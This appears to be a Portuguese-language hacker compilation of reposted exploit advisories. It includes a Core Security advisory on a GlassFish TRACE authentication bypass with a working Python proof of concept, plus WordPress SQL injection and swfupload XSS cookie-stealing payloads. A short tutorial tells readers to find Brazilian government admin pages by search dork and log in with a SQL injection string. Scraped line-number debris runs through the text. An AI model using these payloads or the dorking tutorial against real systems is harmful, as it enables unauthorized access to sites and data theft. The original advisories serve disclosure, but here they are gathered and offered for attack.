4382 Finally, restart GlassFish by doing C:\glassfishv3\bin>asadmin restart-domain
4383
4384After following these steps, when executing the PoC included in this advisory, the webserver should respond:
4385
4386405 TRACE method is not allowed headers = [('date', 'Thu, 28 Apr 2011 20:39:43 GMT'), ('content-length', '0'), ('connection', 'close'), ('allow', 'GET, HEAD, POST'), ('x-powered-by', 'Servlet/3.0')] [+ full code]
4387
43887. Credits
4389
4390This vulnerability was discovered and researched by Francisco Falcon from Core Security Technologies.
4391
43928. Technical Description / Proof of Concept Code
4393
43948.1. Introduction
4395
4396Built using the GlassFish Server Open Source Edition, Oracle GlassFish Server [1] delivers a flexible, lightweight and extensible Java EE 6 platform. It provides a small footprint, fully featured Java EE application server that is completely supported for commercial deployment and is available as a standalone offering.
4397
4398The Administration Console of Oracle GlassFish Server, which is listening by default on port 4848/TCP, is prone to an authentication bypass vulnerability. This vulnerability can be exploited by remote attackers to access sensitive data on the server without being authenticated, by making TRACE requests against the Administration Console.
4399
44008.2. Authentication Bypass
4401
4402[CVE-2011-1511] By default, when GlassFish Server starts, it runs an HTTP listener named admin-listener, associated with the __asadmin virtual server. This administrative server, which is accessed by the Administration Console, has the HTTP TRACE verb enabled by default. This can be configured from the Network Config > Protocols > admin-listener > HTTP tab.
4403
4404By performing HTTP requests against the GlassFish Administration Console using the TRACE method, a remote, unauthenticated attacker can get access to the content of restricted pages in the Administration Console, because GlassFish Server will behave as if it were handling GET requests from authenticated users.
4405
4406It is important to note that the response of GlassFish Server to a TRACE request includes the full content of the requested resource in the response body, as in a GET request; according to RFC 2616 (Hypertext Transfer Protocol -- HTTP/1.1), section 9.8 [2], the response SHOULD reflect the original request to the client in the response body.
4407
4408The vulnerability described above allows attackers to access the content of the following pages without being authenticated:
4409
4410 Log Viewer: http://<GlassFish_IP>:4848/common/logViewer/logViewer.jsf
4411 Information about the Java Virtual Machine installed on the server: http://<GlassFish_IP>:4848/common/appServer/jvmReport.jsf
4412 Installed components: http://<GlassFish_IP>:4848/updateCenter/installed.jsf
4413 Properties of an existing JDBC connection pool, including DB password: http://<GlassFish_IP>:4848/jdbc/jdbcConnectionPoolProperty.jsf?name=DerbyPool
4414
4415The following Python code is a Proof-of-Concept of the vulnerability; it will retrieve the content of the Log Viewer effectively bypassing the authentication:
4416#Usage: $ python poc.py <GlassFish_IP> <Administration_Port> #E.g: $ python poc.py 192.168.0.1 4848
4417
4418import sys
4419import httplib
4420
4421def make_trace_request(host, port, selector):
4422
4423 print '[*] TRACE request: %s' % selector
4424 headers = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0;
4425Windows NT 5.1; Trident/4.0)',
4426 'Host': '%s:%s' % (host, port),
4427 'Accept':
4428'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
4429 'Accept-Language': 'en-us,en;q=0.5',
4430 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
4431 'Accept-Encoding': 'gzip,deflate',
4432 'Connection': 'close',
4433 'Referer': 'http://%s:%s%s' % (host, port, selector)}
4434
4435 conn = httplib.HTTPConnection(host, port)
4436 conn.request('TRACE', selector, headers=headers)
4437 response = conn.getresponse()
4438 conn.close()
4439
4440 print response.status, response.reason
4441 print response.getheaders()
4442 print response.read()
4443
4444
4445
4446if len(sys.argv) != 3:
4447 print "Usage: $ python poc.py <GlassFish_IP>
4448<GlassFish_Administration_Port>\nE.g: $ python poc.py 192.168.0.1 4848"
4449 sys.exit(0)
4450
4451host = sys.argv[1]
4452port = int(sys.argv[2])
4453make_trace_request(host, port, '/common/logViewer/logViewer.jsf')
4454
44559. Report Timeline
4456
4457 2010-12-06: Initial notification sent to Oracle.
4458 2010-12-07: Oracle replies that the bug has been forwarded to the product engineers, and requests Core to postpone the publication of the advisory.
4459 2010-12-09: Core replies that the publication of the advisory can be postponed as long as Oracle provides a timeline for the release of fixes.
4460 2010-12-20: Oracle confirms that it is a defect and it will be fixed in the development release. Oracle also replies that the fixes are planned to be released in April 2011.
4461 2011-02-04: Core requests a status update on the fixes, and asks if Oracle can meet the April 2011 deadline.
4462 2011-02-04: Oracle replies that the development version of GlassFish has already been fixed, and that the patches are being tested. They will update when all patches are tested and ready, still tracking an April 2011 release.
4463 2011-02-17: Core informs that in that case the publication date will remain April 3rd.
4464 2011-02-22: Oracle requests that the publication date is moved to April 19th, and informs that the patches are in progress and planned to be included in the upcoming Oracle's Critical Patch Update Security Advisory.
4465 2011-02-24: Core replies acknowledging April 19th as the publication date.
4466 2011-03-30: Core asks whether the GlassFish team is on track for an April 19th publication date.
4467 2011-03-31: Oracle notifies that "patches would probably be ready to be released by April 19th. The bug affects multiple supported releases of the product with different fix schedules, and the GlassFish team is in various stages of the process."
4468 2011-04-18: Core asks whether the GlassFish team is on track for an April 19th publication date.
4469 2011-04-20: Oracle team notifies that in the previous email there was an unfortunate typo: when they wrote "It looks like patches would be ready to be released by April 19th", they meant "patches would not be ready... ". Oracle also requests to move the publication date to July 19th.
4470 2011-04-25: Core notifies that this issue was reported on [2010-12-06] and (3 weeks ago [2011-03-31]) was confirmed to be released on Apr 19th. The typo Oracle mentioned changes the meaning of the last email altogether, while moving the release ahead for the end of July. Core communicates that no information was received about which specific versions of the software are vulnerable, and what are the specific workarounds or countermeasures that could be deployed in order to mitigate this vulnerability. Also, Core asks more details about Oracle's decision to postpone the release of fixes for 3 months. Specifically, Core wants to know if Oracle is intentionally delaying the release of patches to include them in the release of a new version of their product.
4471 2011-04-25: Oracle notifies that:
4472 This issue affects Sun GlassFish Enterprise Server 2.1.1 and Oracle GlassFish Server 3.0.1.
4473 Oracle GlassFish Server 3.1 was released in March 2011 and was fixed before the release, so it is not affected.
4474 The fix review, integration, test and release cycles run on predetermined schedules. Oracle is not delaying any fixes.
4475 As a policy, Oracle does not provide workarounds unless they can be easily applied by every customer.
4476 Fixes have been integrated; all the final patches should be available in July.
4477 2011-05-05: Core decides to release the advisory next Wednesday, May 11th; and notifies the sequence of events that has motivated that decision:
4478 Oracle was notified of the vulnerability 5 month ago.
4479 Oracle released a fixed version of GlassFish (March 2011) without notifying Core, without patching previous versions and without publishing any workaround for affected users.
4480 Core has a workaround that mitigates the vulnerability.
4481 Core sends the proposed workaround [Sec. 6.1] to the Oracle Team and asks if they want to add further information in the advisory.
4482 2011-05-06: Oracle requests Core to hold the advisory publication until they have patches available for all customers. Oracle states that they announce security fixes on a pre-determined schedule, so users are prepared to apply them. Adhoc publication of issues may not allow every customer to monitor and apply patches in time, which increases their exposure.
4483 2011-05-09: Core notifies that the publication of security advisories is aimed at explaining the problem to the vulnerable user community and providing the technical details and guidance so they can devise protection countermeasures. Core usually releases this information in coordination with the vendor, but in this case this is not possible because Oracle has already released patches for some versions (without notifying Core). Currently, there is a patched version of GlassFish and there are vulnerable versions with exposed users. In this scenario, Core has decided to release the advisory as 'user 'release' next Wednesday, providing a way to mitigate the problem until patches are available. The vendor (Oracle in this case) may or may not agree with Core assessment on how to help users to reduce risk, but the vendor is certainly not the only party entitled to provide plausible solutions to the problem.
4484 2011-05-11: Advisory CORE-2010-1118 is published.
4485
448610. References
4487
4488[1] http://www.oracle.com/us/products/middleware/application-server/oracle-glassfish-server/index.html
4489[2] http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html
449011. About CoreLabs
4491
4492CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
449312. About Core Security Technologies
4494
4495Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and prove real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
4496
4497Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
449813. Disclaimer
4499
4500The contents of this advisory are copyright (c) 2011 Core Security Technologies and (c) 2011 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
450114. PGP/GPG Keys
4502
4503This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
4504© Copyright 2016 Exploit Database
4505
4506
4507--------------
4508
4509[+]tut0r1al[+]
4510~como invadir /admin por Bypass~
45111:pegue um site para vc testar. EX: inurl:/admin site:gov.br
45122:coloque esse codigo no login e senha >> 'or'1 'or'1 <<
45133: ba sorte. OBS:muitos sites hj em dia sao vulneraveis Emoticon wink
4514flws Emoticon grin
4515
4516--------------
4517
4518Exploits 0day :
4519
4520http://0day.today/
4521
4522
4523=======================================================================
4524
4525Wordpress exploit:
4526
4527WordPress Multiple Meta Box 1.0 SQL Injection Vulnerability
4528
4529[ home ] [ description ]
4530
4531Full title WordPress Multiple Meta Box 1.0 SQL Injection Vulnerability
4532Date add 09-04-2016
4533Category web applications
4534Platform php
4535Risk
4536Security Risk High
4537
4538Description:
4539WordPress Multiple Meta Box plugin version 1.0 suffers from a remote SQL injection vulnerability.
45401
45412
45423
45434
45445
45456
45467
45478
45489
454910
455011
455112
455213
455314
455415
455516
455617
455718
455819
455920
456021
456122
456223
456324
456425
456526
456627
456728
456829
456930
457031
457132
457233
457334
457435
457536
457637
457738
457839
457940
458041
458142
458243
458344
458445
458546
458647
458748
458849
458950
459051
459152
459253
459354
459455
459556
459657
459758
459859
459960
460061
460162
460263
460364
460465
460566
460667
460768
460869
460970
461071
461172
461273
461374
461475
461576
461677
461778
461879
461980
462081
462182
4622Document Title:
4623===============
4624WP Multiple Meta Box v1.0 - SQL Injection Vulnerability
4625
4626Product & Service Introduction:
4627===============================
4628Multi Meta Box Plugin will help you to show Wp Multiple Meta Box on
4629Front-end by Following way. Create Multi Meta Box from Admin Panel of
4630Add New
4631Wp Multiple Meta Box Section. Create New Multi Meta Box by Adding Meta
4632Box Label, Meta Field Post Type(Posts, Pages, etc), Status (Available, Un
4633Available), Click on add meta field and fill box field (Field Type (Text
4634Box, Text Area, Drop Down, Check Box, Radio Button), according to your
4635selected Field Type, Fill option Below Like Meta Field Type for
4636(Textbox), Meta Field Title, Meta Field Value for (check Box, Radio
4637Button, Drop
4638Down), Meta Field Required, Meta Field Place Holder for (Textbox, Text
4639Area), Meta Field Min Length for (Textbox), Meta Field Max Length for
4640(Textbox) You can add Multi Metabox as many as required by clicking on
4641Add Meta Field. Admins will get that Multi Meta Box on (Post, Page, etc)
4642as per selection of Meta Field Post Type.
4643
4644(Copy of the Homepage: https://wordpress.org/plugins/multi-meta-box/ )
4645
4646Affected Product(s):
4647====================
4648Agileinfoways Ltd
4649Product: Multiple Meta Box - Wordpress Plugin (Web-Application) 1.0
4650
4651Technical Details & Description:
4652================================
4653A remote sql-injection web vulnerability has been discovered in the
4654official Wordpress Multiple Meta Box v1.0 plugin web-application.
4655The vulnerability allows remote attackers and privileged user accounts
4656to execute own sql commands to compromise the web-server or dbms.
4657
4658The vulnerability is located in the `id` value of the
4659`multi_metabox_listing` action GET method request. The vulnerability is
4660located
4661on the server-side of the service and the request method to
4662execute/inject is GET. The vulnerability is only with a privileged
4663web-application
4664user account exploitable. The vulnerable module requires at minimum 1
4665item for successful exploitation.
4666
4667The security risk of the sql-injection vulnerability is estimated as
4668medium with a cvss (common vulnerability scoring system) count of 5.9.
4669Exploitation of the remote sql injection web vulnerability requires no
4670user interaction and a low privileged web-application user account.
4671Successful exploitation of the remote sql injection results in database
4672management system, web-server and web-application compromise.
4673
4674Request Method(s):
4675 [+] GET
4676
4677Vulnerable Function(s):
4678 [+] multi_metabox_listing
4679
4680Vulnerable Parameter(s):
4681 [+] id
4682
4683
4684Proof of Concept (PoC):
4685=======================
4686The remote sql-injection web vulnerability can be exploited by
4687privileged web-application user account without user interaction.
4688For security demonstration or to reproduce the vulnerability follow the
4689provided information and steps below to continue.
4690
4691PoC:
4692http://localhost:8080/wordpress/wp-admin/admin.php?page=multi_metabox_listing&action=edit&id=-x[SQL-INJECTION
4693VULNERABILITY!]--
4694
4695
4696Solution - Fix & Patch:
4697=======================
4698The vulnerability can be patched by usage of a prepared statement with
4699clear set entities in the id value of the page GET method request.
4700Encode the input values of the parameter and restrict the input by usage
4701of special chars. Escape the entries to prevent the vulnerability.
4702
4703# 0day.today [2016-04-12] #
4704
4705============================================================================
4706
4707WP Shell Exploit (vulne monstra):
4708
4709WordPress 3.3.1 swfupload.swf Cross Site Scripting
4710
4711[ home ] [ description ]
4712
4713Full title WordPress 3.3.1 swfupload.swf Cross Site Scripting
4714Date add 10-11-2012
4715Category web applications
4716Platform multiple
4717Risk
4718Security Risk Medium
4719Affected ver 2.5 - 3.3.1
4720
4721Description:
4722WordPress versions 2.5 through 3.3.1 suffer from a cross site scripting vulnerability in swfupload.swf.
47231
47242
47253
47264
47275
47286
47297
47308
47319
473210
473311
473412
473513
473614
473715
473816
473917
474018
474119
474220
474321
474422
474523
474624
474725
474826
474927
475028
475129
475230
475331
475432
475533
475634
475735
475836
475937
476038
476139
476240
476341
476442
476543
476644
476745
476846
476947
477048
477149
477250
477351
477452
477553
477654
477755
477856
477957
478058
478159
478260
4783I will draw your attention to XSS vulnerability in swfupload in WordPress.
4784
4785In April there was announced Cross-Site Scripting vulnerability in
4786swfupload.swf in WordPress (CVE-2012-3414). It was fixed in WordPress 3.3.2.
4787At that time there was no detailed information about it.
4788
4789Last week I've noticed, that people begun disclosing this XSS hole in
4790swfupload.swf in other web applications (as in one WP plugin, where I found
4791it). So the details of this hole was already disclosed, which leaded to new
4792advisories with XSS in this flash file in other webapps.
4793
4794After that I've made research and here is information about different
4795versions of this swf-file (with different names) and all versions of
4796WordPress, which contain any of these swf-files. I.e. not one swf (mentioned
4797by Neal Poole), but two swf's with different names have this XSS.
4798
4799This hole was found by Neal Poole and Nathan Partlan. And at 17.05.2012 Neal
4800have disclosed it at his site
4801(https://nealpoole.com/blog/2012/05/xss-and-csrf-via-swf-applets-swfupload-plupload/).
4802Details about all affected versions of WordPress and versions of swf-file
4803are provided bellow.
4804
4805-------------------------
4806Affected products:
4807-------------------------
4808
4809Vulnerable are versions WordPress 2.5 - 3.3.1.
4810
4811File swfupload.swf is bundled with WordPress 2.7 - 3.3.1.
4812
4813File swfupload_f9.swf is bundled with WordPress 2.5 - 2.7.1.
4814
4815In versions WP 2.7 - 2.7.1 both flash-files are contained.
4816
4817----------
4818Details:
4819----------
4820
4821XSS (WASC-08):
4822
4823http://site/wp-includes/js/swfupload/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//
4824
4825WordPress 2.7-3.3.1.
4826
4827http://site/wp-includes/js/swfupload/swfupload_f9.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//
4828
4829WordPress 2.5-2.7.1.
4830
4831At 20.04.2012 this vulnerability was fixed in WordPress 3.3.2. The
4832developers of WordPress released new version of flash file, which could be
4833used by all web developers, which were using swfupload.
4834
4835Swfupload is used in WordPress, plugins for WP and in other web
4836applications. There are many web applications with it, not as many as those
4837which are using JW Player (http://securityvulns.com/docs28176.html) and JW
4838Player Pro (http://securityvulns.com/docs28483.html) (vulnerabilities in
4839them I've disclosed earlier), but still a lot of. And in the next letter
4840I'll present a set of such web applications.
4841
4842# 0day.today [2016-04-12] #
4843
4844========================================================================
4845
4846Textos retirados de algum lugar da internet e o mal uso e risco é por
4847conta do freguês.
4848
4849§ÜP®ËM3 (Daniel/Nerd) - Conhecimento não é crime, compartilhe!
4850http://nerddownloads.zip.net/0wn3d.html
4851
4852========================================================================